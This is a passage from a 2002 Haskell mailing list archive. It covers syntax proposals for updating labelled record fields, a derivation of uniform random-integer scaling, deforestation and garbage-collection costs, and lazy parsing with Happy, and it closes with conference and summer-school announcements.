stdata Changing its value to "x" > modifySTRef (fooSet x) stdata With syntatic sugar only you'd have to read the reference, apply the func= tion=20 to the field and then update it.=20 IMO, 'set field' and 'apply to field' functions are as usefull as the 'fi= eld=20 projection' functions that are derived from the definition of the labeled= =20 datatype. Anyway I agree that it would be nice to have special syntax for= =20 updates. I'll use it if I have it available.=20 On Monday 06 May 2002 23:42, David Feuer wrote: > Why not $=3D ? Yeap very nice in deed. I'd vote for this one. J.A. From oleg@pobox.com Tue May 7 00:49:55 2002 From: oleg@pobox.com (oleg@pobox.com) Date: Mon, 6 May 2002 16:49:55 -0700 (PDT) Subject: Proper scaling of randoms Message-ID: <200205062349.QAA83799@adric.cs.nps.navy.mil> This message derives an integer interval mapping function that is not only provably within the given range but also "uniform". This is the function to use when mapping random integers from one interval to a smaller one. Problem: given an integer n within [0..maxn], design a scaling function sc(n) that returns an integer within [s..t], t>=s. The function sc(n) must be 'monotonic': 0<=a < b ==> sc(a) <= sc(b) and it must map the ends of the interval: sc(0) -> s and sc(maxn) -> t. One such function has been designed by Simon Thompson in his book: sct(n) = n `div` ((maxn+1) `div` (t-s+1)) + s Another function has been derived in the previous message on this list: sc1(n) = (n*(t-s)) `div` maxn + s The sct() function has a serious drawback: it is not guaranteed that sct(n) <= t (more about it below). The sc1() function is provably within the given range, and monotonic. Alas, it is not "uniform." When it comes to mapping of random integers, the mapping function must possess an extra property: it must "map uniformly." That is, given random numbers within [0..maxn] such that Prob(n==i) - const, we must aim at Prob(sc(n)==i') - const forall i' in [s..t]. The mapping function sc1(n) does not have this property. Any mapping function sc(n) from [0..maxn] to [s..t] for (t-s+1) < (maxn+1) maps several integers from the source interval to one integer of the target interval. An integer of the target interval therefore denotes an equivalence class of the integers from the source interval. The uniformity property will be satisfied only if the equivalence classes have the same size. This is only possible if (maxn+1) `rem` (t-s+1) == 0. Given this condition, the original Thompson's algorithm works. If (t-s+1) divides (maxn+1) exactly (i.e., exists denom integer. denom*(t-s+1) == maxn+1), we have j*denom <= n <= j*denom+denom-1 ==> sct(n) = j+s, all j=0..(t-s) Thus each equivalence class has the size denom, and mapping is perfectly uniform. As a consequence, s <= sct(n) <= t, given our assumption (maxn+1) `rem` (t-s+1) == 0. If this assumption does not hold, sct(n) may be greater than t (which Dimitre Novatchev has demonstrated). Alas, in this case there is no perfectly uniform mapping. The Thompson's algorithm misbehaves. The worst case for the algorithm is when t = s + (maxn+1)/2. For example, this occurs when we try to map [0..65535] to [0..32768]. In this case, t-s+1 = 32769, and denom = 65536 `div` 32769 == 1, thus the mapping becomes sct(n) = n. In almost half of the time, this mapping exceeds the upper limit 32768. OTH, the mapping sc1(n) = n*(maxn+1)/2 `div` maxn + s behaves in this pathological case rather well. Not only sc1(n) <= t (this is always guaranteed) but also the mapping is uniform: all equivalence classes of the source interval [0..65535] except the last two classes have the size of two. Thus the best solution should be to "average" sc1(n) and sct(n). This "averaging" is done by the formula sca = (n*(t-s) + (n*(denom-1) `div` denom)) `div` maxn + s where denom = (maxn+1) `div` (t-s+1) It is easy to see that sca(0) -> s. sca(maxn) = (maxn*(t-s) + (maxn*(denom-1) `div` denom)) `div` maxn + s = (maxn*(t-s) + p) `div` maxn + s {where 0<= p = (maxn*(denom-1) `div` denom) <= maxn-1 } = t-s+s = t It is easy to show that sca(n) is monotonic (as defined above). If maxn+1 is evenly divisible by (t-s+1) (that is, denom*(t-s+1) == maxn+1), we have j*denom <= n <= j*denom+denom-1 ==> sca(n) = j+s, all j=0..(t-s) This requires a proof. We have: sca(j*denom) = (j*denom*(t-s) + (j*denom*(denom-1) `div` denom)) `div` maxn + s = (j*denom*(t-s) + j*(denom-1)) `div` maxn + s = j*(denom*(t-s) + denom-1) `div` maxn + s = j*maxn `div` maxn + s = j+s sca(j*denom+denom-1) = ((j*denom+denom-1)*(t-s) + ((j*denom+denom-1)*(denom-1) `div` denom)) `div` maxn + s = ((j*denom+denom-1)*(t-s) + (j+1)*(denom-1)-1) `div` maxn + s = (j*maxn + (denom-1)*(t-s+1)) `div` maxn + s = j+s The required result then follows by the monotonicity property. In the most pathological case of maxn= 65535, s=0, t= 32768. We have denom = 1 and sca(n) becomes sc1(n), which, in this case, behaves very well. Thus the sca mapping is the optimal one. It is guaranteed to keep the result within the specified bounds at all times. When the perfect uniformity of mapping is possible, it is always achieved. The implementation isn't too complex either. > scaleSequence :: Int -> Int -> [Int] -> [Int] > scaleSequence s t > = map scale > where > scale n = (n*range + ((n*(denom-1)) `div` denom)) `div` maxn + s > range = t - s > maxn = modulus - 1 > modulus = 65536 > denom = (maxn+1) `div` (t-s+1) Main> any(>966) (scaleSequence 1 966 [0..65535]) False Main> any(==966) (scaleSequence 1 966 [0..65535]) True Main> any(>32768) (scaleSequence 0 32768 [0..65535]) False > test = let sq = [32768-1..32768+1600] in > let result = > map (\x -> let t = length x in (t `seq` t)) $! groupBy (\(a,_) (b,_) -> a == b) $! > sortBy (\(a,_) (b,_) -> compare a b) $! > zip (scaleSequence 0 32768 sq) $! sq > in (maximum $! result, minimum $! result) ==> (2,1) -- e.g., the mapping is roughly uniform From john@foo.net Tue May 7 02:07:43 2002 From: john@foo.net (John Meacham) Date: Mon, 6 May 2002 18:07:43 -0700 Subject: updating labelled fields In-Reply-To: <200205061936.30511.jadrian@mat.uc.pt> References: <200205061936.30511.jadrian@mat.uc.pt> Message-ID: <20020507010743.GB15301@momenergy.repetae.net> DrIFT which i am now maintaining can derive such utility functions out of the box. just add a {-!deriving: update -} to get update functions for every labeled field in a datatype. quite useful, I have not updated the web page yet, but the new DrIFT homepage will be at http://homer.netmar.com/~john/computer/haskell/DrIFT/ On Mon, May 06, 2002 at 07:36:30PM +0100, Jorge Adriano wrote: > Anyway I'd prefer to have some way to 'derive' apply and set functions. > Something like > > data MyData = MyData { foo :: fooType, bar :: ..., .... } > > deriving (Set, Apply) > > Using the keyword "deriving" would probably be a bad idea though :) > The set and apply functions could be derived with a standard postfix or maybe > prefix... fooAp or apFoo. > Maybe we could introduce sintax to specify it... > > deriving (Set with "set", Apply with "ap") > > I don't know... I'm just brainstorming right now. > Having actual functions is important. I don't think I have to explain why to > people in this mailing list :-) > > > Anyway, does such a thing exist, and, if not, is there any chance it could > > exist, or is it just syntactic salt to too many people? :) > I whish you better luck than I've had so far whenever making posts about this > same issue ;) > -- --------------------------------------------------------------------------- John Meacham - California Institute of Technology, Alum. - john@foo.net --------------------------------------------------------------------------- From jadrian@mat.uc.pt Tue May 7 17:33:30 2002 From: jadrian@mat.uc.pt (Jorge Adriano) Date: Tue, 7 May 2002 17:33:30 +0100 Subject: updating labelled fields In-Reply-To: <20020507010743.GB15301@momenergy.repetae.net> References: <200205061936.30511.jadrian@mat.uc.pt> <20020507010743.GB15301@momenergy.repetae.net> Message-ID: <200205071733.30737.jadrian@mat.uc.pt> On Tuesday 07 May 2002 02:07, John Meacham wrote: > DrIFT which i am now maintaining can derive such utility functions out > of the box. just add a {-!deriving: update -} to get update functions > for every labeled field in a datatype. quite useful, I have not updated > the web page yet, but the new DrIFT homepage will be at > > http://homer.netmar.com/~john/computer/haskell/DrIFT/ Very nice :) I'll check it out. J.A. From scm@comlab.ox.ac.uk Tue May 7 20:51:49 2002 From: scm@comlab.ox.ac.uk (Shin-Cheng Mu) Date: Tue, 7 May 2002 20:51:49 +0100 Subject: Deforestration harmful? In-Reply-To: <3CD68715.46BF25C@cs.york.ac.uk> Message-ID: Dear Simon and Olaf, Thank you very much for your replies. Monday, May 6, 2002, 02:37 PM, Olaf Chitil wrote: > Shin-Cheng Mu wrote: >> The intermediate datatype Tree1 was thus eliminated. >> The problem was: the fused program ran slower than the >> original one! > Note that you have done more than just deforestation. You have moved f > through join, obtaining join'. Because as you say (fg s2) is much = longer > than (g s2), join' is applied more often than join was applied before. = I > don't know how expensive your join and join' are. I will be a bit more precise. Let f and g have type: g :: Seed -> [Tree] f :: Tree -> [Expr] where Tree1 is a tip-valued binary tree, and Tree2 is also a binary tree but the forks are arithmetic operators: data Tree =3D Tip Int | Bin Tree1 Tree1 data Expr =3D Val Int | Add Tree2 Tree2 | Sub Tree2 Tree2 | Mul .... The function g is defined like: g seed =3D [ z | (s1, s2) <- split seed, x <- g s1, y <- g s2, z <- Bin x y ] The function f converts a Tree to many Exprs by replacing Bin with one of Add, Sub, Mul or Div: f (Tip i) =3D [Val i] f (Bin x y) =3D [op x' y' | x' <- f x, y' <- f y, op <- join x y] The program before fusion looks like: concat . map f . g while the fused program simply: fg seed =3D [ z | (s1, s2) <- split seed, x <- fg s1, y <- fg s2, z <- join x y ] join x y =3D [op x y | op <- [Add, Sub, ... ]] And the surprise was the fused program ran slower than the naive one before fusion. The time profiling showed that, in one run, the naive program itself took 2.00 sec to finish, with 9% extra GC time. The fused program itself, on the other hand, took only 1.84 sec but spent an extra 67% of time on GC (the heap size is the default 64M). Considering their heap profiles, both of them look like several steep, slanted triangles standing next to each other. The highest peak in the heap profile of the naive program reaches only 50K of memory, while that for the fused program reaches as much as 1500K. In the former case, the heap is mostly occupied by chunks created by g. In the latter case, the heap is mostly occupied by join. > Furthermore, deforestation itself does not reduce runtime very much. Indeed. Looks like it helps to speed up the mutator a bit but end up spending more time on GC, due to increased heap demand. > More important is the secondary effect that deforstation moves = formerly > separated expressions close to each other, so that further = optimisations > can take place. Maybe in your example there are not many further > optimisations? I think so. As you can see there are not much optimisations to be done, other than the ones done by hand. :) Monday, May 6, 2002, 12:02 PM, Simon Marlow wrote=A1G > It is entirely plausible that as you increase the heap size the = mutator > time increases: this is because you get fewer cache hits with a = larger > heap. GHC starts off with a small heap size so as to try to make the > most of the cache. However, on most examples we've seen the benefits = of > reducing garbage collections by increasing the heap size tend to > outweigh the benefits from staying in the cache. > Did you try heap profiling to discover what structure was filling up > the heap? Thanks for the explanation. :) More info. about the heap was given above. By the way, could there be situations where increasing the heap size also increases the GC time? sincerely, Shin From rakdver@hotmail.com Tue May 7 21:07:22 2002 From: rakdver@hotmail.com (Zdenek Dvorak) Date: Tue, 07 May 2002 20:07:22 +0000 Subject: updating labelled fields Message-ID: Hello. >DrIFT which i am now maintaining can derive such utility functions out >of the box. just add a {-!deriving: update -} to get update functions >for every labeled field in a datatype. quite useful, I have not updated >the web page yet, but the new DrIFT homepage will be at > >http://homer.netmar.com/~john/computer/haskell/DrIFT/ Nothing against DrIFT, but it requieres running preprocessing before real compilation; I don't like it for short programs, that I have defined just in one module and I'm debugging/modificating them. I've thought about syntax for set/update functions some time ago too. What I though about is: ({assignments}) desugars to \x->x{assignments} x{as, field =, bs} desugars to \y->x{as, field = y, bs} x{as, field, bs} desugars to \f->x{as, field = f (field x), bs} Then set function would be just ({field =}) and apply ({field}) (it does not need to create some artificial names for them that could colide with user names). Not really sure it does not conflict with rest of syntax, though. Zdenek Dvorak > > Anyway I'd prefer to have some way to 'derive' apply and set functions. > > Something like > > > data MyData = MyData { foo :: fooType, bar :: ..., .... } > > > deriving (Set, Apply) > > > > Using the keyword "deriving" would probably be a bad idea though :) > > The set and apply functions could be derived with a standard postfix or >maybe > > prefix... fooAp or apFoo. > > Maybe we could introduce sintax to specify it... > > > deriving (Set with "set", Apply with "ap") > > > > I don't know... I'm just brainstorming right now. > > Having actual functions is important. I don't think I have to explain >why to > > people in this mailing list :-) > > > > > Anyway, does such a thing exist, and, if not, is there any chance it >could > > > exist, or is it just syntactic salt to too many people? :) > > I whish you better luck than I've had so far whenever making posts about >this > > same issue ;) _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx From bjpop@cs.mu.OZ.AU Wed May 8 09:19:07 2002 From: bjpop@cs.mu.OZ.AU (Bernard James POPE) Date: Wed, 8 May 2002 18:19:07 +1000 (EST) Subject: funny: the Almighty Monad Message-ID: <200205080819.SAA15638@mulga.cs.mu.OZ.AU> Hi all, Next time someone asks you "What is a Monad?", just point them at this page: http://www.newadvent.org/cathen/10447b.htm My favourite quote is: "in the letters of the Christian Platonist Synesius, God is described as the Monad of Monads." For those who can't be bothered looking, the page is part of a Catholic Encyclopedia, and it describes in much detail some rather interesting aspects of the word Monad that I didn't know before. Its even quite insightful. Cheers, Bernie PS Should rename unsafePerformIO to sinfulPerformIO? From marte@pms.informatik.uni-muenchen.de Wed May 8 09:41:19 2002 From: marte@pms.informatik.uni-muenchen.de (Michael Marte) Date: Wed, 8 May 2002 10:41:19 +0200 (CEST) Subject: Are Happy-generated parsers lazy? In-Reply-To: <20020429084408.GA22528@momenergy.repetae.net> Message-ID: Hello, I am running into trouble with the HaXml parser because it is not lazy. Hence I am considering to abondon the use of XML as data-exchange format. Anyway, XML documents are too verbose. Now I wonder whether Happy-generated parsers are lazy? Michael From ashley@semantic.org Wed May 8 09:45:43 2002 From: ashley@semantic.org (Ashley Yakeley) Date: Wed, 8 May 2002 01:45:43 -0700 Subject: funny: the Almighty Monad Message-ID: <200205080845.BAA26797@mail4.halcyon.com> At 2002-05-08 01:19, Bernard James POPE wrote: > "in the letters of the Christian Platonist Synesius, > God is described as the Monad of Monads." This reminds me of this: ...wherein I use category theory to show that anyone who experiences angels cannot reasonably believe in God. Not serious, but frankly it makes at least as much sense as most Platonic and Gnostic philosophy I've ever come across. -- Ashley Yakeley, Seattle WA From simonmar@microsoft.com Wed May 8 09:48:23 2002 From: simonmar@microsoft.com (Simon Marlow) Date: Wed, 8 May 2002 09:48:23 +0100 Subject: Are Happy-generated parsers lazy? Message-ID: <9584A4A864BD8548932F2F88EB30D1C6091D13A1@TVP-MSG-01.europe.corp.microsoft.com> > I am running into trouble with the HaXml parser because it is=20 > not lazy. > Hence I am considering to abondon the use of XML as data-exchange > format. Anyway, XML documents are too verbose. >=20 > Now I wonder whether Happy-generated parsers are lazy? If you mean will it parse the input lazilly and return a lazy parse tree, then the answer is no. Happy uses LALR(1) parsing, which means that it needs to see the end of a syntactic object before reducing it. Cheers, Simon From john@foo.net Wed May 8 10:13:40 2002 From: john@foo.net (John Meacham) Date: Wed, 8 May 2002 02:13:40 -0700 Subject: Are Happy-generated parsers lazy? In-Reply-To: References: <20020429084408.GA22528@momenergy.repetae.net> Message-ID: <20020508091340.GA12865@momenergy.repetae.net> I do not believe they are, as they are optimized for performance, even if they were lazy, the check for the error condition right after the parse would immediatly evaluate the whole parse tree to check for errors, probably the best route is to use/roll your own parser combinator library. they are pretty easy if you are comfortable with monads, and can be made lazy. xml might be simple enough to just write a parser by hand too. if you want an efficient data-exchange format and you can wait a bit i am going to make a release of my XDR library soon, useful for both exchanging data in a machine/time independant format or communicating with known network protocols such as nfs. John On Wed, May 08, 2002 at 10:41:19AM +0200, Michael Marte wrote: > Hello, > > I am running into trouble with the HaXml parser because it is not lazy. > Hence I am considering to abondon the use of XML as data-exchange > format. Anyway, XML documents are too verbose. > > Now I wonder whether Happy-generated parsers are lazy? > > Michael > > > > _______________________________________________ > Haskell mailing list > Haskell@haskell.org > http://www.haskell.org/mailman/listinfo/haskell > -- --------------------------------------------------------------------------- John Meacham - California Institute of Technology, Alum. - john@foo.net --------------------------------------------------------------------------- From afie@cs.uu.nl Wed May 8 10:37:45 2002 From: afie@cs.uu.nl (Arjan van IJzendoorn) Date: Wed, 8 May 2002 11:37:45 +0200 Subject: Are Happy-generated parsers lazy? References: <20020429084408.GA22528@momenergy.repetae.net> <20020508091340.GA12865@momenergy.repetae.net> Message-ID: <00cc01c1f674$05cdd7e0$ec50d383@sushi> Hi, > > [.. lazy parsers...] > probably the best route is to use/roll your own parser > combinator library. You can use Doaitse Swierstra's combinators. They are lazy, error-correcting and fast. Bye, Arjan From Michael Leuschel Wed May 8 10:28:32 2002 From: Michael Leuschel (Michael Leuschel) Date: Wed, 08 May 2002 10:28:32 +0100 Subject: LOPSTR'02 - Call for papers Message-ID: --Boundary_(ID_7xB1RPhA87Ok8DkKMPCXrg) Content-type: text/plain; charset=US-ASCII; format=flowed Content-transfer-encoding: 7bit --------------------------------------------------- International Workshop on Logic Based Program Development and Transformation LOPSTR'02 18 - 20 September 2002 --------------------------------------------------- CALL FOR PAPERS --------------------------------------------------- http://clip.dia.fi.upm.es/LOPSTR02/ --------------------------------------------------- Deadline for full papers: 15 June 2002 Deadline for short papers: 30 June 2002 --------------------------------------------------- The aim of the LOPSTR series is to stimulate and promote international research and collaboration on logic-based program development, and the workshop is open to contributions in logic-based program development in any language paradigm. LOPSTR'02 will be held at the Technical University of Madrid, co-located with International Static Analysis Symposium" (SAS'02) and APPIA-GULP-PRODE Joint Conference on Declarative Programming (AGP'02). Past workshops were held in Manchester, UK (1991, 1992, 1998), Louvain-la-Neuve, Belgium (1993), Pisa, Italy (1994), Arnhem, the Netherlands (1995), Stockholm, Sweden (1996), Leuven, Belgium (1997), Venice, Italy (1999), London, UK (2000), Paphos, Cyprus (2001). Since 1994 the proceedings have been published in the LNCS series of Springer-Verlag. LOPSTR also aims to be a lively, friendly forum for presenting and discussing work in progress, so it is a real workshop in the sense that it is also intended to provide useful feedback to authors on their preliminary research. Formal proceedings of the workshop are produced only after the workshop, so that authors can incorporate this feedback in the published papers. Scope of the Workshop We solicit full papers as well as extended abstracts describing work in progress. Topics of interest cover all aspects of logic-based program development, all stages of the software life cycle, and issues of both programming-in-the-small and programming-in-the-large. The following is a non-exhaustive list of topics: * specification * synthesis * verification * transformation * specialisation * analysis * composition * reuse * optimisation * applications and tools * component-based software development * agent-based software development * software architectures * design patterns and frameworks * program refinement and logics for refinement * proofs as programs Submission Guidelines * Authors can either submit extended abstracts describing work in progress or they can choose to submit full papers. Contributions should be written in English and should be submitted electronically in Postscript or PDF format to the program chairman at the following email address: mal@ecs.soton.ac.uk. Prospective authors who have difficulties for the electronic submission may contact the chairman. * Extended abstracts should not exceed 6 pages in llncs format and may describe work in progress. Promising abstracts relevant to the scope of LOPSTR will be selected for presentation at the workshop. The submission deadline for extended abstracts is June 30, 2002. * Full papers should not exceed 16 pages (including references) in llncs format. The submission deadline is June 16, 2002. These papers will be judged using ordinary conference quality criteria and accepted papers will have to be presented at the workshop and will automatically appear in the pre-proceedings as well as in the final collection of papers. * In both cases the notification of acceptance or rejection will be sent by July 15, 2002. Accepted papers and abstracts will be collected in informal pre-proceedings which will be available at the workshop. * After the workshop, authors of extended abstract which are judged mature for publication will be invited to submit full papers. These will be reviewed according to the usual refereeing procedures, and accepted papers will be published in a final collection of papers which are expected to be published in the Lecture Notes in Computer Science series by Springer-Verlag. All the full papers accepted before the workshop will automatically appear in that book as well; there will be no additional refereeing (although authors will be given a chance to revise their paper, if they so wish, based upon the feedback from the LOPSTR event). Programme Committee Jean Raymond Abrial Consultant, Marseille, France Elvira Albert Valencia, Spain Michael Butler Southampton, UK James Caldwell Laramie, Wyoming, USA Bart Demoen Leuven, Belgium Sandro Etalle Twente, The Netherlands Laurent Fribourg ENS Cachan, France Michael Hanus Kiel, Germany Andy King Kent, UK Kung-Kiu Lau Manchester, UK Michael Leuschel Southampton, UK C.R. Ramakrishnan Stony Brook, USA Olivier Ridoux Rennes, France Sabina Rossi Venice, Italy Wolfram Schulte Microsoft, USA Jens Peter Secher Copenhagen, Denmark Maurizio Proietti IASI-CNR, Rome, Italy German Puebla Madrid, Spain Julian Richardson Edinburgh, UK Michael Wooldridge Liverpool, UK Programme Chair Michael Leuschel, University of Southampton Department of Electronics and Computer Science Highfield, Southampton SO17 1BJ UK --Boundary_(ID_7xB1RPhA87Ok8DkKMPCXrg) Content-type: text/enriched; charset=US-ASCII Content-transfer-encoding: 7bit --------------------------------------------------- International Workshop on Logic Based Program Development and Transformation LOPSTR'02 18 - 20 September 2002 --------------------------------------------------- CALL FOR PAPERS --------------------------------------------------- 0000,0000,FFFFhttp://clip.dia.fi.upm.es/LOPSTR02/ --------------------------------------------------- Deadline for full papers: 15 June 2002 Deadline for short papers: 30 June 2002 --------------------------------------------------- The aim of the LOPSTR series is to stimulate and promote international research and collaboration on logic-based program development, and the workshop is open to contributions in logic-based program development in any language paradigm. LOPSTR'02 will be held at the Technical University of Madrid, co-located with International Static Analysis Symposium" (SAS'02) and APPIA-GULP-PRODE Joint Conference on Declarative Programming (AGP'02). Past workshops were held in Manchester, UK (1991, 1992, 1998), Louvain-la-Neuve, Belgium (1993), Pisa, Italy (1994), Arnhem, the Netherlands (1995), Stockholm, Sweden (1996), Leuven, Belgium (1997), Venice, Italy (1999), London, UK (2000), Paphos, Cyprus (2001). Since 1994 the proceedings have been published in the LNCS series of Springer-Verlag. LOPSTR also aims to be a lively, friendly forum for presenting and discussing work in progress, so it is a real workshop in the sense that it is also intended to provide useful feedback to authors on their preliminary research. Formal proceedings of the workshop are produced only after the workshop, so that authors can incorporate this feedback in the published papers. Scope of the Workshop We solicit full papers as well as extended abstracts describing work in progress. Topics of interest cover all aspects of logic-based program development, all stages of the software life cycle, and issues of both programming-in-the-small and programming-in-the-large. The following is a non-exhaustive list of topics: * specification * synthesis * verification * transformation * specialisation * analysis * composition * reuse * optimisation * applications and tools * component-based software development * agent-based software development * software architectures * design patterns and frameworks * program refinement and logics for refinement * proofs as programs Submission Guidelines * Authors can either submit extended abstracts describing work in progress or they can choose to submit full papers. Contributions should be written in English and should be submitted electronically in Postscript or PDF format to the program chairman at the following email address: 0000,0000,FFFFmal@ecs.soton.ac.uk. Prospective authors who have difficulties for the electronic submission may contact the chairman. * Extended abstracts should not exceed 6 pages in llncs format and may describe work in progress. Promising abstracts relevant to the scope of LOPSTR will be selected for presentation at the workshop. The submission deadline for extended abstracts is June 30, 2002. * Full papers should not exceed 16 pages (including references) in llncs format. The submission deadline is June 16, 2002. These papers will be judged using ordinary conference quality criteria and accepted papers will have to be presented at the workshop and will automatically appear in the pre-proceedings as well as in the final collection of papers. * In both cases the notification of acceptance or rejection will be sent by July 15, 2002. Accepted papers and abstracts will be collected in informal pre-proceedings which will be available at the workshop. * After the workshop, authors of extended abstract which are judged mature for publication will be invited to submit full papers. These will be reviewed according to the usual refereeing procedures, and accepted papers will be published in a final collection of papers which are expected to be published in the Lecture Notes in Computer Science series by Springer-Verlag. All the full papers accepted before the workshop will automatically appear in that book as well; there will be no additional refereeing (although authors will be given a chance to revise their paper, if they so wish, based upon the feedback from the LOPSTR event). Programme Committee Jean Raymond Abrial Consultant, Marseille, France Elvira Albert Valencia, Spain Michael Butler Southampton, UK James Caldwell Laramie, Wyoming, USA Bart Demoen Leuven, Belgium Sandro Etalle Twente, The Netherlands Laurent Fribourg ENS Cachan, France Michael Hanus Kiel, Germany Andy King Kent, UK Kung-Kiu Lau Manchester, UK Michael Leuschel Southampton, UK C.R. Ramakrishnan Stony Brook, USA Olivier Ridoux Rennes, France Sabina Rossi Venice, Italy Wolfram Schulte Microsoft, USA Jens Peter Secher Copenhagen, Denmark Maurizio Proietti IASI-CNR, Rome, Italy German Puebla Madrid, Spain Julian Richardson Edinburgh, UK Michael Wooldridge Liverpool, UK Programme Chair Michael Leuschel, University of Southampton Department of Electronics and Computer Science Highfield, Southampton SO17 1BJ UK --Boundary_(ID_7xB1RPhA87Ok8DkKMPCXrg)-- From johanj@cs.uu.nl Wed May 8 11:38:19 2002 From: johanj@cs.uu.nl (Johan Jeuring) Date: Wed, 8 May 2002 12:38:19 +0200 Subject: Advanced Functional Programming: early registration one week away. Message-ID: --Apple-Mail-1--402573038 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=ISO-8859-1; format=flowed The early registration deadline for the AFP school is May 17. -- Johan Jeuring Summer School and Workshop on Advanced Functional Programming http://www.functional-programming.org/afp/afp4 St Anne's College, Oxford 19th to 24th August 2002 Overview In this school we want to bring computer scientists, in particular young=20= researchers and programmers, up to date with the latest advanced=20 functional programming techniques. We do this by using advanced=20 functional programming techniques in "programming in the real world".=20 Thus we hope to bridge the gap between results presented at programming=20= conferences and material from introductory textbooks on functional=20 programming. This is the fourth advanced functional programming school. The previous=20= schools were held in Bastad (Sweden, LNCS 925), Olympia (Washington,=20 USA, LNCS 1129), and Braga (Portugal, LNCS 1608). Each of these schools=20= was considered an interesting and great experience by almost all=20 participants.=A0 There will be a number of in depth lectures about advanced functional=20 programming techniques, taught by the experts in the field. Lectures are=20= aimed especially at showing new programming techniques, introducing new=20= language constructs, and presenting interesting application areas.=20 Another important goal is to provide that kind of information which=20 enables participants to use functional programming in their daily life,=20= after returning from the school.=A0 The lectures are accompanied by practical problems to be solved by the=20= participants at the school: the school emphasises learning by doing. We expect that the ancient university town Oxford will add an extra=20 dimension to the school. Lecturers Richard Bird and Jeremy Gibbons (University of Oxford): Arithmetic Coding with Folds and Unfolds Manuel Chakravarty (University of New South Wales): Fast Arrays in Haskell Matthias Felleisen (Northeastern University, Boston): Developing Interactive Web Programs in DrScheme C=E9dric Fournet (Microsoft Research) and Fabrice Le Fessant (INRIA=20 Rocquencourt): Jocaml3, a Language for Concurrent, Distributed and Mobile Programming Paul Hudak (Yale University): Robots, Arrows and Functional Reactive Programming Koen Claessen (Chalmers University of Technology) and Colin Runciman=20 (University of York): Testing and Tracing Lazy Functional Programs Philip Wadler (Avaya Labs): XQuery: A Typed Functional Language for Querying XML --Apple-Mail-1--402573038 Content-Transfer-Encoding: quoted-printable Content-Type: text/enriched; charset=ISO-8859-1 The early registration deadline for the AFP school is May 17. -- Johan Jeuring
Summer School and Workshop on Advanced Functional = Programming=
=
1A1A,1A1A,FFFFhttp://www.functional-programming.org/afp/afp4
St Anne's College, Oxford 19th to 24th August 2002
Overview In this school we want to bring computer scientists, in particular young researchers and programmers, up to date with the latest advanced functional programming techniques. We do this by using advanced functional programming techniques in "programming in the real world". Thus we hope to bridge the gap between results presented at programming conferences and material from introductory textbooks on functional programming. This is the fourth advanced functional programming school. The previous schools were held in Bastad (Sweden, LNCS 925), Olympia (Washington, USA, LNCS 1129), and 1A1A,1A1A,FFFFBraga (Portugal, LNCS 1608). Each of these schools was considered an interesting and great experience by almost all participants.=A0 There will be a number of in depth lectures about advanced functional programming techniques, taught by the experts in the field. Lectures are aimed especially at showing new programming techniques, introducing new language constructs, and presenting interesting application areas. Another important goal is to provide that kind of information which enables participants to use functional programming in their daily life, after returning from the school.=A0 The lectures are accompanied by practical problems to be solved by the participants at the school: the school emphasises learning by doing. We expect that the ancient university town = 1A1A,1A1A,FFFFOxford will add an extra dimension to the school. Lecturers 1A1A,1A1A,FFFFRichard Bird and 1A1A,1A1A,FFFFJeremy Gibbons (University of Oxford): Arithmetic Coding with Folds and Unfolds 1A1A,1A1A,FFFFManuel Chakravarty (University of New South Wales): Fast Arrays in Haskell 1A1A,1A1A,FFFFMatthias Felleisen (Northeastern University, Boston): Developing Interactive Web Programs in DrScheme 1A1A,1A1A,FFFFC=E9dric Fournet (Microsoft Research) and 1A1A,1A1A,FFFFFabrice Le Fessant (INRIA Rocquencourt): Jocaml3, a Language for Concurrent, Distributed and Mobile Programming 1A1A,1A1A,FFFFPaul Hudak (Yale University): Robots, Arrows and Functional Reactive Programming 1A1A,1A1A,FFFFKoen Claessen (Chalmers University of Technology) and 1A1A,1A1A,FFFFColin Runciman (University of York): Testing and Tracing Lazy Functional Programs 1A1A,1A1A,FFFFPhilip Wadler (Avaya Labs): XQuery: A Typed Functional Language for Querying XML --Apple-Mail-1--402573038-- From hdaume@ISI.EDU Wed May 8 17:22:17 2002 From: hdaume@ISI.EDU (Hal Daume III) Date: Wed, 8 May 2002 09:22:17 -0700 (PDT) Subject: updating labelled fields In-Reply-To: Message-ID: I like this idea, but I think it will cause ambiguity in parsing. Consider: blah = do {foo} ... should foo be parsed as a statement list (under the assumption that the open brace is instead of using layout) or as an assignment, as in: blah = do {foo} x <- bar (which probably wouldn't typecheck, but we don't know that at parsing.) i could be wrong and it might be able to be made work, but i'm not convinced... Another option that I believe would work, drawing from the deriving (Set with "set") thing posted earlier, that I think may be better in the sense that it doesn't confusing set/apply function naming with class derivations, would be something like: data T = T { myString :: String with (Set as setMyString, Apply as apMyString), myInt :: Int with (Set as setMyInt), myBool :: Bool with (Apply as apMyBool) } which would be the equivalent of defining "data T = T {myString::String, myInt::Int,myBool::Bool}" and four functions: setMyString, apMyString, setMyInt and apMyBool. This allows you to specify exactly which functions you want. Perhaps even allow something like: data T = T { myString :: String with (Set,Apply), myInt :: Int with (Set), myBool :: Bool with (Apply) } where the "default" names are used (i.e., Set for x is "set" + x with the first letter capitalized). This brings up one issue, namely, what to do with: data T = T { a :: String with (Set), b :: Int } | U { a :: String with (Set,Apply), c :: Bool } Personally, I don't think this should be disallowed and the definitions should be: setA b (T a _) = T a b setA b (U a _) = U a b apA f (U a b) = U a (f b) How do people feel about something like this? I've already implemented the $= apply in my personal copy of ghc and it works fine (as witnessed by -ddump-parsed); i think it required about 8 lines of code to be changed. - Hal -- Hal Daume III "Computer science is no more about computers | hdaume@isi.edu than astronomy is about telescopes." -Dijkstra | www.isi.edu/~hdaume On Tue, 7 May 2002, Zdenek Dvorak wrote: > Hello. > > >DrIFT which i am now maintaining can derive such utility functions out > >of the box. just add a {-!deriving: update -} to get update functions > >for every labeled field in a datatype. quite useful, I have not updated > >the web page yet, but the new DrIFT homepage will be at > > > >http://homer.netmar.com/~john/computer/haskell/DrIFT/ > > Nothing against DrIFT, but it requieres running preprocessing before real > compilation; I don't like it for short programs, that I have defined just in > one module and I'm debugging/modificating them. > > I've thought about syntax for set/update functions some time ago too. > What I though about is: > > ({assignments}) desugars to \x->x{assignments} > x{as, field =, bs} desugars to \y->x{as, field = y, bs} > x{as, field, bs} desugars to \f->x{as, field = f (field x), bs} > > Then set function would be just ({field =}) and apply ({field}) > (it does not need to create some artificial names for them that could > colide with user names). > > Not really sure it does not conflict with rest of syntax, though. > > Zdenek Dvorak > > > > Anyway I'd prefer to have some way to 'derive' apply and set functions. > > > Something like > > > > data MyData = MyData { foo :: fooType, bar :: 